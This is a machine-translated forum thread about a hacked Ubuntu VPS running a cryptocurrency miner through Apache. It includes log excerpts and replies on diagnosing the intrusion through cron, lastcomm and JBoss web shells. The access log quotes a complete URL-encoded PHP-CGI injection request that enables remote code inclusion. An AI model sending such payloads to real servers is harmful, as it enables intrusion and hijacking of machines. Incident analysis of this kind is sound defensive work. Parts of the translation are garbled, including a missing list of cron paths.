Ubuntu VPS, который я запускаю для размещения нескольких базовых веб-сайтов, похоже, взломал apache для добычи биткойнов.
В моем apache error.log я вижу следующее.
[Sun Dec 15 06:27:58 2013] [notice] Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch configured -- resuming normal operations
[Sun Dec 15 06:27:58 2013] [info] Server built: Jul 12 2013 13:38:21
[Sun Dec 15 06:27:58 2013] [debug] prefork.c(1023): AcceptMutex: sysvsem (default: sysvsem
[Sun Dec 15 09:14:16 2013] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 8 children, there are 0 idle, and 18 total children
curl: try 'curl --help' or 'curl --manual' for more information
./tmp.sh: 1: ./tmp.sh: ^M: not found
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 165k 100 165k 0 0 402k 0 --:--:-- --:--:-- --:--:-- 460k
./tmp.sh: 2: ./tmp.sh: ^M: not found
./tmp.sh: 3: ./tmp.sh: ^M: not found
./tmp.sh: 4: ./tmp.sh: ^M: not found
./tmp.sh: 5: ./tmp.sh: ^M: not found
./tmp.sh: 6: ./tmp.sh: ^M: not found
[2013-12-15 10:06:35] Starting Stratum on stratum+tcp://mine.pool-x.eu
[2013-12-15 10:06:35] 1 miner threads started, using 'scrypt' algorithm.
[2013-12-15 10:06:36] Stratum detected new block
[2013-12-15 10:11:05] Stratum detected new block
[2013-12-15 10:12:46] Stratum detected new block
[2013-12-15 10:13:15] Stratum detected new block
План состоит в том, чтобы восстановить мой VPS, но сначала я хочу понять, как именно это происходит, и захожу в тупик. Вот некоторые вещи, которые я заметил / попробовал:
Я могу перезагрузить свой VPS, и майнинг, похоже, не начнется снова, пока не пройдет несколько часов. Это работа CRON? (Кажется, перезапускается примерно в 10 утра каждый день).
Не похоже на уязвимость wordpress
Я установил lastcomm, и для пользователя www-data я вижу следующее, что явно является атакой. Как я могу получить больше информации о том, что происходит и выполняется?
$ sudo lastcomm www-данные
В чем разница между процессом apache2 и httpd?
Теперь я заметил следующую запись в журнале доступа, но никогда не совпадающую с началом резервного копирования майнинга:
177.10.216.85 - - [15 / Dec / 2013: 14: 19: 01 +0000] "POST / cgi-bin / php4?% 2D% 64 +% 61% 6C% 6C% 6F% 77% 5F% 75% 72 % 6C% 5F% 69% 6E% 63% 6C% 75% 64% 65% 3D% 6F% 6E +% 2D% 64 +% 73% 61% 66% 65% 5F% 6D% 6F% 64% 65% 3D% 6F% 66% 66 +% 2D% 64 +% 73% 75% 68% 6F% 73% 69% 6E% 2E% 73% 69% 6D% 75% 6C $
Я также запустил pwdx против процесса, он только что вернул следующее
4529: /
В то время как процесс MySQL вернул следующее.
2298: / var / lib / mysql
Обновить:
Я не думаю, что это эксплойт plesk, потому что apache возвращает 404 (правильно ?!) Теперь я почти уверен, что это просто скрытая работа CRON или что-то в этом роде. Может даже скрытый процесс. Как они вошли изначально, я действительно не уверен!
46.137.41.30 - - [26/Dec/2013:13:25:26 +0000] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 493 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
Вы пытались расшифровать эту странную строку в журнале доступа?
Вставьте эту строку:
% 2D% 64 +% 61% 6C% 6C% 6F% 77% 5F% 75% 72% 6C% 5F% 69% 6E% 63% 6C% 75% 64% 65% 3D% 6F% 6E +% 2D% 64 + % 73% 61% 66% 65% 5F% 6D% 6F% 64% 65% 3D% 6F% 66% 66 +% 2D% 64 +% 73% 75% 68% 6F% 73% 69% 6E% 2E% 73 % 69% 6D% 75% 6C $
На этом сайте:
http://www.url-encode-decode.com
Быстрый поиск в Google по декодированному тексту ascii предполагает, что это Эксплуатация уязвимости Plesk.
У вас, вероятно, нет такой же проблемы, как у меня, но мой VPS был использован с использованием уязвимости JBoss, и они установили веб-оболочку (pwn.jsp), а затем использовали ее, загрузив некоторую оболочку бэкдора perl.
Я просто хотел предупредить о дополнительных бэкдорах, которые мог покинуть злоумышленник. Я нашел свой каталог консоли управления JBoss с файлом WAR со странным названием, который при развертывании позволит злоумышленнику развернуть любое приложение по своему выбору в моей установке JBoss.
У меня есть еще кое-что в другом сообщение stackoverflow и еще больше в блоге
Определения заданий cron будут находиться в любом из этих возможных мест в виде текстовых файлов:
Первые 5 являются системными папками cron и, как правило, все запускаются на корневом уровне, последний - это каталог, содержащий пользовательские crons (например, при запуске crontab -e
или crontab -l
он загрузит из этого каталога каждая учетная запись пользователя с созданными заданиями cron будет иметь файл в этой папке
загляните туда, вероятно, будет задача cron, которая начинается со следующего определения cron
6 10,22 * * * ....